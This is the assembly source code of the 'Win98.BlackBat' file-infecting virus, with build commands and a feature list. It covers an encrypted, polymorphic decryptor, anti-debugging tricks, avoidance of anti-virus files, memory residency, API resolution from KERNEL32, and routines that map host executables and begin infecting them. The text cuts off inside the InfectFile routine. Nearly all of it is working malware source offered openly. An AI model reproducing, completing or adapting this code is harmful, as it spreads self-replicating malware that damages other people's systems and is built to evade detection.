;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | \|/ Win98.BlackBat | | ;| | (. .) ================ | | ;| | ( | ) | | ;| | ( v ) (c) 1999, Rohitab Batra | | ;| | __| |__ | | ;| | // \\ ICQ: 11153794 | | ;| | // ^ | | ;| | ((====> http://www.rohitab.com | | ;| | | | ;| | Discussion Forum: http://www.rohitab.com/discuss/ | | ;| | Mailing List: http://www.rohitab.com/mlist/ | | ;| | | | ;| | | | ;| |"Blessed is he who expects nothing, for he shall not be disappointed" | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; ;Compiling (Turbo Assembler) ; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat ; ;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error ;message will be displayed, so that you don't accidently compile in release mode. ;In Release mode, the size of the Virus will be smaller, and .EXE files will be ;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found ;in the current directory, will be infected. ; ;Linking (Turbo Linker) ; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB ; ;Making Code Section Writable (EditBin from SDK, or any other utility) ; c:\>editbin /SECTION:CODE,w BlackBat.EXE ; ;***** Info About the Virus ***** ;* If WIN.SYS is found in the root directory, the virus does not infect any file, ; and does not become resident. ;* File time and attributes are restored after infection ;* Encrypted with a random key ;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT ;* Anti-Debugging Code ;* Structured Exception Handling ;* Decryption engine is Polymorphic ; ;***** TODO ***** ;1. Dont infect files with todays date ;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel) ;3. Doesn't infect files in directories with long file names .386p .model flat ,stdcall EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first ;generation copy executes without crashing .data DB ? ;Required for TASM, Else will Crash !!?? ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @MESSAGE_BOX Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Displays a MessageBox with the given Message. Note the caption of ; the MessageBox is the same as the Message ; ; Arguments ; -> szMessage: Message to be displayed ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> ALL ;___________________________ @MESSAGE_BOX MACRO szMessage IF DEBUG @DELTA esi mov eax, esi add eax, offset szMessage call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION ENDIF ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @DEFINE_API Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Defines an API that will be called by the Virus. The macro is expanded ; to the following, if APIName is MessageBoxA: ; szMessageBoxA DB "MessageBoxA", 0 ; MessageBoxA DD ? ; ; Arguments ; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by ; the DLL. e.g. MessageBoxA ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> None ; ;________________________ @DEFINE_API MACRO APIName sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API &APIName DD ? ;;Storage space for API Address ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @DELTA Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Returns the delta offset in the specified register ; ; Arguments ; -> Register: register in which the value of the delta offset is copied ; ; Return Value: ; -> Register: Delta Offset ; ; Registers Destroyed ; -> Register ; ;____________________ @DELTA MACRO Register LOCAL GetIP call GetIP ;;This will push EIP on the stack GetIP: pop Register ;;get EIP of current instruction sub Register, offset GetIP ;;Delta Offset ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @OFFSET Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Returns the true offset of the specified address. Unlike the offset ; keyword, which calculates the address at assembly time, this macro ; calculates the address at run-time. This is used to get the correct ; offset when the virus has been relocated. Instead of using instructions ; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename" ; ; Arguments ; -> Register: register in which the offset is to be returned ; -> Expression: expression whose offset is required ; ; Return Value: ; -> Register: Correct offset of Expression ; ; Registers Destroyed ; -> Register ; ;_________________________________ @OFFSET MACRO Register, Expression LOCAL GetIP call GetIP ;;This will push EIP on the stack GetIP: pop Register ;;get EIP of current instruction add Register, offset Expression - offset GetIP ;;True offset ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @GET_API_ADDRESS Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Gets the address of the API, and stores it ; ; Arguments ; -> APIName: API whose address is required ; -> ESI: Delta Offset ; -> EBX: Address of GetProcAddress(...) ; -> ECX: Base address of DLL which exports the API ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> All Except ESI, EBX and ECX ; ;_____________________________ @GET_API_ADDRESS MACRO APIName push ebx ;;Save Addr of GetProcAddress(...) push ecx ;;Save Image Base mov eax, esi add eax, offset sz&APIName ;;API whose address is required call ebx, ecx, eax ;;GetProcAddress(...) pop ecx ;;Restore Image Base pop ebx ;;Restore Addr of GetProcAddress(...) mov [esi + APIName], eax ;;Save API Address ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> @TRY_BEGIN: This macro is used to install the exception handler. The ; code that follows this is the one that is checked for ; exceptions ; @TRY_EXCEPT: The code that follows this is executed if an exception ; occurs. ; @TRY_END: This is used to mark the end of the TRY block ; ; Example ; @TRY_BEGIN ZeroMemory ; ; @TRY_CATCH ZeroMemory ; ; @TRY_END ZeroMemory ; ; Arguments ; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the ; program ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> If an exception occurs, all registers are restored to the state before ; the @TRY_BEGIN block, otherwise, no registers are modified ;_______________________ @TRY_BEGIN MACRO Handler pushad ;;Save Current State @OFFSET esi, Handler ;;Address of New Exception Handler push esi push dword ptr fs:[0] ;;Save Old Exception Handler mov dword ptr fs:[0], esp ;;Install New Handler ENDM @TRY_EXCEPT MACRO Handler jmp NoException&Handler ;;No Exception Occured, so jump over Handler: mov esp, [esp + 8] ;;Exception Occured, Get old ESP pop dword ptr fs:[0] ;;Restore Old Exception Handler add esp, 4 ;;ESP value before SEH was set popad ;;Restore Old State ENDM @TRY_END MACRO Handler jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT NoException&Handler: ;;No Exception Occured pop dword ptr fs:[0] ;;Restore Old Exception Handler add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ... ;;...4 for push offset Handler. (No Restore State) ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @CALL_INT21h Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Makes an INT 21h Call in Protected Mode ; ; Arguments ; -> Service: INT 21h Service Number ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> Depends on Service called ;_________________________ @CALL_INT21h MACRO Service mov eax, Service ;;INT 21h Service @DELTA esi call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | Constants | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ;Win32 Constants PAGE_READWRITE EQU 00000004h IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable IMAGE_FILE_DLL EQU 2000h ;File is a DLL FILE_MAP_ALL_ACCESS EQU 000F001Fh IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes NULL EQU 0 TRUE EQU 1 FALSE EQU 0 ;File Access GENERIC_READ EQU 80000000h ;Access Mode Read Only GENERIC_WRITE EQU 40000000h ;Access Mode Write Only FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read INVALID_HANDLE_VALUE EQU -1 ERROR_ALREADY_EXISTS EQU 000000B7h FILE_ATTRIBUTE_NORMAL EQU 00000080h OPEN_EXISTING EQU 3 ;Fail if not found ;Shutdown Options EWX_FORCE EQU 4 EWX_SHUTDOWN EQU 1 ;MessageBox MB_OK EQU 00000000h MB_YESNO EQU 00000004h MB_ICONINFORMATION EQU 00000040h ;Virus_Constants @BREAK EQU int 3 ;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975 RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident ;VxD Stuff VWIN32_Int21Dispatch EQU 002A0010h LFN_OPEN_FILE_EXTENDED EQU 716Ch PC_WRITEABLE EQU 00020000h PC_USER EQU 00040000h PR_SHARED EQU 80060000h PC_PRESENT EQU 80000000h PC_FIXED EQU 00000008h PD_ZEROINIT EQU 00000001h SHARED_MEMORY EQU 80000000h ;Anything above this is shared PageReserve EQU 00010000h PageCommit EQU 00010001h PAGE_SIZE EQU 4096 ;Size of a Page in Win9x ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | Structures | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ FILETIME STRUC FT_dwLowDateTime DD ? FT_dwHighDateTime DD ? FILETIME ENDS IMAGE_DOS_HEADER STRUC ;DOS .EXE header IDH_e_magic DW ? ;Magic number IDH_e_cblp DW ? ;Bytes on last page of file IDH_e_cp DW ? ;Pages in file IDH_e_crlc DW ? ;Relocations IDH_e_cparhdr DW ? ;Size of header in paragraphs IDH_e_minalloc DW ? ;Minimum extra paragraphs needed IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed IDH_e_ss DW ? ;Initial (relative) SS value IDH_e_sp DW ? ;Initial SP value IDH_e_csum DW ? ;Checksum IDH_e_ip DW ? ;Initial IP value IDH_e_cs DW ? ;Initial (relative) CS value IDH_e_lfarlc DW ? ;File address of relocation table IDH_e_ovno DW ? ;Overlay number IDH_e_res DW 4 DUP (?) ;Reserved words IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo) IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific IDH_e_res2 DW 10 DUP (?) ;Reserved words IDH_e_lfanew DD ? ;File address of new exe header IMAGE_DOS_HEADER ENDS IMAGE_FILE_HEADER STRUC IFH_Machine DW ? ;System that the binary is intended to run on IFH_NumberOfSections DW ? ;Number of sections that follow headers IFH_TimeDateStamp DD ? ;Time/Date the file was created on IFH_PointerToSymbolTable DD ? ;Used for debugging information IFH_NumberOfSymbols DD ? ;Used for debugging information IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER) IFH_Characteristics DW ? ;Flags used mostly for libraries IMAGE_FILE_HEADER ENDS IMAGE_DATA_DIRECTORY STRUC IDD_VirtualAddress DD ? IDD_Size DD ? IMAGE_DATA_DIRECTORY ENDS IMAGE_OPTIONAL_HEADER STRUC ;Standard Fields IOH_Magic DW ? ;Mostly 0x010B IOH_MajorLinkerVersion DB ? ;Version of the linker used IOH_MinorLinkerVersion DB ? ;Version of the linker used IOH_SizeOfCode DD ? ;Size of executable code IOH_SizeOfInitializedData DD ? ;Size of Data Segment IOH_SizeOfUninitializedData DD ? ;Size of bss Segment IOH_AddressOfEntryPoint DD ? ;RVA of code entry point IOH_BaseOfCode DD ? ;Offset to executable code IOH_BaseOfData DD ? ;Offset to initialized data ;NT Additional Fields IOH_ImageBase DD ? ;Preferred load address IOH_SectionAlignment DD ? ;Alignment of Sections in RAM IOH_FileAlignment DD ? ;Alignment of Sections in File IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image IOH_MajorImageVersion DW ? ;User specified version number IOH_MinorImageVersion DW ? ;User specified version number IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version IOH_Win32VersionValue DD ? ;Mostly set to 0 IOH_SizeOfImage DD ? ;Amount of memory the image will need IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers) IOH_Subsystem DW ? ;Subsystem required to run this image IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack IOH_SizeOfStackCommit DD ? ;Size of initially commited stack IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap IOH_LoaderFlags DD ? ;Not generally used IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?) IMAGE_OPTIONAL_HEADER ENDS IMAGE_EXPORT_DIRECTORY STRUC IED_Characteristics DD ? ;Currently set to 0 IED_TimeDateStamp DD ? ;Time/Date the export data was created IED_MajorVersion DW ? ;User settable IED_MinorVersion DW ? IED_Name DD ? ;RVA of DLL ASCIIZ name IED_Base DD ? ;First valid exported ordinal IED_NumberOfFunctions DD ? ;Number of entries IED_NumberOfNames DD ? ;Number of entries exported by name IED_AddressOfFunctions DD ? ;RVA of export address table IED_AddressOfNames DD ? ;RVA of export name table pointers IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry IMAGE_EXPORT_DIRECTORY ENDS IMAGE_SECTION_HEADER STRUC ISH_Name DB 8 DUP (?) ;NULL padded ASCII string UNION ISH_PhysicalAddress DD ? ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded ENDS ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment ISH_PointerToRawData DD ? ;Offset from files beginning to sections data ISH_PointerToRelocations DD ? ISH_PointerToLinenumbers DD ? ISH_NumberOfRelocations DW ? ISH_NumberOfLinenumbers DW ? ISH_Characteristics DD ? ;Flags to decide how section should be treated IMAGE_SECTION_HEADER ENDS SYSTEMTIME STRUC ST_wYear DW ? ST_wMonth DW ? ST_wDayOfWeek DW ? ST_wDay DW ? ST_wHour DW ? ST_wMinute DW ? ST_wSecond DW ? ST_wMilliseconds DW ? SYSTEMTIME ENDS ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | Virus Entry Point | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ .code ;Decryptor StartOfVirusCode: call GetDelta GetDelta: DB 5Eh ;pop esi DB 83h ;add esi, EncryptedVirusCode - GetDelta DB 0C6h DB offset EncryptedVirusCode - offset GetDelta DB 0B9h ;mov ecx, ENCRYPTED_SIZE DD ENCRYPTED_SIZE DecryptByte: DB 80h ;xor byte ptr [esi], 00h DB 36h EncryptionKey: DB 00h DB 46h ;inc esi DB 49h ;dec ecx jnz DecryptByte EncryptedVirusCode: ;Code from this point is encrypted jmp WinMain ;Goto Main Program ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | Data Area | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL dwUserBase DD ? ;Base address of USER32.DLL szUser32DLL DB "USER32", 0 ;.DLL Extention is not required ;Host File Variables hHostFile DD ? ;Handle of host file hMappedFile DD ? ;Handle of mapped host file lpHostFile DD ? ;Pointer to mapped host file in memory ftLastAccessTime FILETIME ? ;Time the file was last accessed ftLastWriteTime FILETIME ? ;Time the file was last written to dwFileAttributes DD ? ;File attributes of host file ;Virus Variables szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected ;VxD Stuff OldInt30 DB 6 DUP (0) VxDCall_Busy DB ? ;Semaphore szOutputFile DB "C:\VIRUS.TXT", 0 ;KERNEL32 API's VxDCall DD ? ;Exported by ordinal only (Ord 1) @DEFINE_API GetProcAddress @DEFINE_API CloseHandle @DEFINE_API CreateFileA @DEFINE_API CreateFileMappingA @DEFINE_API GetFileAttributesA @DEFINE_API GetFileSize @DEFINE_API GetFileTime @DEFINE_API GetLocalTime @DEFINE_API GetTickCount @DEFINE_API LoadLibraryA @DEFINE_API MapViewOfFile @DEFINE_API SetFileAttributesA @DEFINE_API SetFileTime @DEFINE_API UnmapViewOfFile ;USER32 API's @DEFINE_API ExitWindowsEx IF DEBUG @DEFINE_API MessageBoxA ENDIF ;DEBUG Only Stuff IF DEBUG szHostFileName DB "NOTEPAD.EXE",0 szWinMainHandler DB "Unhandled Exception in WinMain", 0 szPayLoad DB "Happy BirthDay :-)", 0 szInfected DB "This File is Infected by the BlackBat Virus", 0 ENDIF ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | WinMain | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ WinMain PROC IFE DEBUG ;Only for Release Versions cli not esp ;Anti-Debug Code ... not esp ;...will crash if single-stepped sti ENDIF @TRY_BEGIN WinMain_Handler ;Putting code in protected block call IsVirusActive test eax, eax ;Virus Resident ? jne End_WinMain ;Yes, return to host ;Get Addresses of all Required API's call GetAPIAddresses ;Get the addresses of the other API's test eax, eax ;Error occured ? jz End_WinMain ;Transfer control to host IF DEBUG @MESSAGE_BOX szInfected @OFFSET ebx, szHostFileName call InfectFile, ebx ENDIF ;Check if this Machine is to be Infected call CanMachineBeInfected ;Is this my machine test eax, eax jz End_WinMain ;Yes, so don't infect ;Relocate Virus (Make Resident) call RelocateVirus or eax, eax ;Virus Relocated? je End_WinMain ;No ;Jump to Relocated Virus Copy @OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy add eax, offset RelocatedVirus - offset StartOfVirusCode jmp eax ;Control will go to Relocated Copy ;This part is the Relocated Copy of the Virus in Shared Memory RelocatedVirus: ;When a file is infected, the CALL instruction at label ReturnToHost is ;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated, ;this JMP instruction will point to some invalid location. We need to modify ;this, so that the JMP points to the host program (which was not relocated) ;The offset of Calculate_Offset_Instruction in the non-relocated virus was ;saved in EBX before jumping here. Now we calculate the offset in the relocated ;virus (this copy). @DELTA eax mov esi, eax ;Save Delta Offset add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy sub eax, ebx ;Difference in offsets ;We now subtract this difference from the offset specified in the JMP ;instruction, and update the JMP instruction to point to the correct location ;in memory add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction sub [esi], eax ;Fix JMP instruction call InstallHookProcedure End_WinMain: @TRY_EXCEPT WinMain_Handler @MESSAGE_BOX szWinMainHandler @TRY_END WinMain_Handler ReturnToHost: DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control ;to the host. The address of this JMP ;instruction is calculated at run-time ;ret ;Not required, since control is transfered to host WinMain ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | GetAPIAddresses | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Finds the Address of the API's to be used by the virus ; ; Arguments ; -> None ; ; Return Value: ; -> EAX: 1, if the API addresses were found, 0 otherwise ; ; Registers Destroyed ; -> All ;___________________ GetAPIAddresses PROC call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress test eax, eax ;Found Address ? jz End_GetAPIAddresses ;No, Return 0 ;Get addresses of all required KERNEL32 API's ;ESI = Delta Offset ;EBX = Address of GetProcAddress(...) ;ECX = Image Base of KERNEL32.DLL @DELTA esi mov ebx, eax ;Address of GetProcAddress(...) mov ecx, dwKernelBase ;Base address of KERNEL32.DLL @GET_API_ADDRESS CloseHandle @GET_API_ADDRESS CreateFileA @GET_API_ADDRESS CreateFileMappingA @GET_API_ADDRESS GetFileAttributesA @GET_API_ADDRESS GetFileSize @GET_API_ADDRESS GetFileTime @GET_API_ADDRESS GetLocalTime @GET_API_ADDRESS GetTickCount @GET_API_ADDRESS LoadLibraryA @GET_API_ADDRESS MapViewOfFile @GET_API_ADDRESS SetFileAttributesA @GET_API_ADDRESS SetFileTime @GET_API_ADDRESS UnmapViewOfFile ;Load USER32.DLL push ebx ;Save address of GetProcAddress(...) mov eax, esi ;Delta Offset add eax, offset szUser32DLL ;Name of DLL to be loaded call esi + LoadLibraryA, eax mov ecx, eax ;Base address of USER32.DLL pop ebx ;Restore address of GetProcAddress(...) ;Get addresses of all required USER32 API's ;ESI = Delta Offset ;EBX = Address of GetProcAddress(...) ;ECX = Image Base of USER32.DLL @GET_API_ADDRESS ExitWindowsEx IF DEBUG @GET_API_ADDRESS MessageBoxA ENDIF End_GetAPIAddresses: ret GetAPIAddresses ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | GetAddressOfKernelAPI | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The ; VxDCall API is exported by ordinal only, and the GetProcAddress is ; exported by name. ; ; Arguments ; -> EDX: offset of the program <---- NOT USED ANYMORE ??? ; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address ; of GetProcAddress is returned. ; ; Return Value: ; -> EAX: Address of the Required API if Found, Else NULL ; ; Registers Destroyed ; -> All ;______________________________ GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD LOCAL lpdwAddressOfFunctions:DWORD, \ lpdwAddressOfNames:DWORD, \ lpwAddressOfNameOrdinals: WORD, \ dwVAIED:DWORD ;Get File Headers call GetFileHeaders, dwKernelBase test eax, eax ;Successfully Retreived Headers? je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000 mov [dwVAIED], edx mov esi, dwKernelBase ;Get Address of Functions mov ecx, [dwVAIED] mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions add eax, esi ;VA of Address of functions mov dword ptr [lpdwAddressOfFunctions], eax ;Check which API is Required cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ? jne GetProcAddressRequired ;GetProcAddress ;Get Address of VxDCall API (Ordinal 1) xor eax, eax inc eax ;Ordinal Reqd = 1 sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array jmp GetAddressFromIndex GetProcAddressRequired: ;Get Address of Names mov ecx, [dwVAIED] mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames add eax, esi ;VA of Address of Names mov dword ptr [lpdwAddressOfNames], eax ;Get Address of Name ordinals mov ecx, [dwVAIED] mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals add eax, esi ;VA of Add of Name Ordinals mov dword ptr [lpwAddressOfNameOrdinals], eax ;Find the API index in the AddressOfNames array push esi ;Save the base address of KERNEL32 mov eax, esi ;Also save in EAX xor ebx, ebx dec ebx ;Initialize Index to -1 mov edx, dword ptr [lpdwAddressOfNames] @OFFSET esi, szGetProcAddress ;API to be found mov ecx, esi ;Save address in ECX CheckNextAPI: inc ebx ;increment index mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index add edi, eax ;get the VA from the RVA mov esi, ecx ;get address stored previously CheckNextByte: cmpsb ;Check Byte jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One cmp byte ptr [edi], 0 ;Have we reached the end-of-string je FoundAPI ;Yes? We've found the API jmp CheckNextByte ;No, Check the next byte FoundAPI: ;EBX contains the index of the function into the array pop esi ;Get the base address of KERNEL32 ;Compute the Index mov ecx, ebx mov edx, dword ptr [lpwAddressOfNameOrdinals] movzx eax, word ptr [edx + ecx*2] ;Index ;Get the Address (EAX = Index, ESI = Kernel32 Base) GetAddressFromIndex: mov ebx, [lpdwAddressOfFunctions] mov eax, dword ptr [ebx + eax*4] ;RVA of the API add eax, esi ;VA of the API End_GetAddressOfKernelAPI: ret GetAddressOfKernelAPI ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | OpenAndMapFile | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Opens a file from disk, and maps it into memory. The function also ; saves the file modified time and file attributes before opening the ; file. These are later restored by UnmapAndCloseFile ; ; Arguments ; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped ; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size ; ; Return Value: ; -> EAX: Starting address of memory where the file has been mapped, or 0 ; if an error occured ; -> ECX: Original File Size ; ; Registers Destroyed ; -> All ;_______________________________________________________________ OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD @DELTA esi ;Save File Attributes, and Clear all attributes call esi + GetFileAttributesA, oamf_szFileName mov [esi + dwFileAttributes], eax ;Save File Attributes call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL test eax, eax ;File Attributes Set ? je End_OpenAndMapFile ;No, Return 0 ;Open the file in R/W mode call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \ FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL cmp eax, INVALID_HANDLE_VALUE ;File Opened ? je Error_OpenAndMapFile_Create ;No mov [esi + hHostFile], eax ;Yes, Save handle of host file ;Get and Store File Time lea ebx, [esi + ftLastAccessTime] lea ecx, [esi + ftLastWriteTime] call esi + GetFileTime, eax, NULL, ebx, ecx ;Compute the new file size call esi + GetFileSize, [esi + hHostFile], NULL add eax, [oamf_dwAddBytes] ;Compute New File Size ;Map the file call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \ 0, eax, NULL test eax, eax ;File Mapping Created jz Error_OpenAndMapFile_Mapping ;No mov [esi + hMappedFile], eax ;Yes, Save Handle ;Map View of the File call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0 mov [esi + lpHostFile], eax ;Have to save Mapped Address test eax, eax ;File Mapped Successfully ? jnz End_OpenAndMapFile ;Yes ;Error Occured, Close Files, and Restore Attributes call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping Error_OpenAndMapFile_Mapping: call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File Error_OpenAndMapFile_Create: call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes] xor eax, eax ;Error, Return 0 End_OpenAndMapFile: ret OpenAndMapFile ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | UnmapAndCloseFile | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Unmaps the open file and closes the handles associated with it. It ; also restores the original file attributes and file time. ; ; Arguments ; -> uacf_szFilename: Name of the file that is being unmapped. This is ; used only to restore the file attributes ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> All ;_____________________ UnmapAndCloseFile PROC uacf_szFilename:DWORD ;Unmap File @DELTA esi call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping ;Restore File Time lea eax, [esi + ftLastAccessTime] lea ebx, [esi + ftLastWriteTime] call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx ;Close File call esi + CloseHandle, [esi + hHostFile] ;Close the File ;Restore File Attributes call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes] ret UnmapAndCloseFile ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | InfectFile | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Infects the host file with our virus ; ; Arguments ; -> DWORD if_szFileName: Address of the file to be infected ; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes) ; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes) ; ; Return Value: ; -> EAX: 1 if Infected, 0 on Error ; ; Registers Destroyed ; -> All ;__________________________________ InfectFile PROC if_szFileName:DWORD LOCAL lpdwLastSection:DWORD, \ dwVirusBegin:DWORD, \ dwNewEntryRVA:DWORD, \ dwJumpBytes:DWORD, \ dwIOH:DWORD, \ dwIncFileSize:DWORD, \ dwIncSecSize:DWORD, \ dwDeltaOffset:DWORD @DELTA esi mov [dwDeltaOffset], esi ;Save Delta Offset ;Check if the file can be infected, or not call CanFileBeInfected, if_szFileName test eax, eax ;Can it be infected jz End_InfectFile ;No mov [dwIncFileSize], ebx ;Save Increase in File Size mov [dwIncSecSize], ecx ;Save Increase in Section Size ;Map Host File into Memory call OpenAndMapFile, if_szFileName, dwIncFileSize test eax, eax ;File Opened and Mapped Successfully jz End_InfectFile ;No, Return Code = 0 mov esi, [dwDeltaOffset] mov [esi + lpHostFile], eax ;Save staring address of file ;Get File Headers call GetFileHeaders, eax ;This should not fail, since its already... mov [dwIOH], ebx ;...called once in CanFileBeInfected mov [lpdwLastSection], 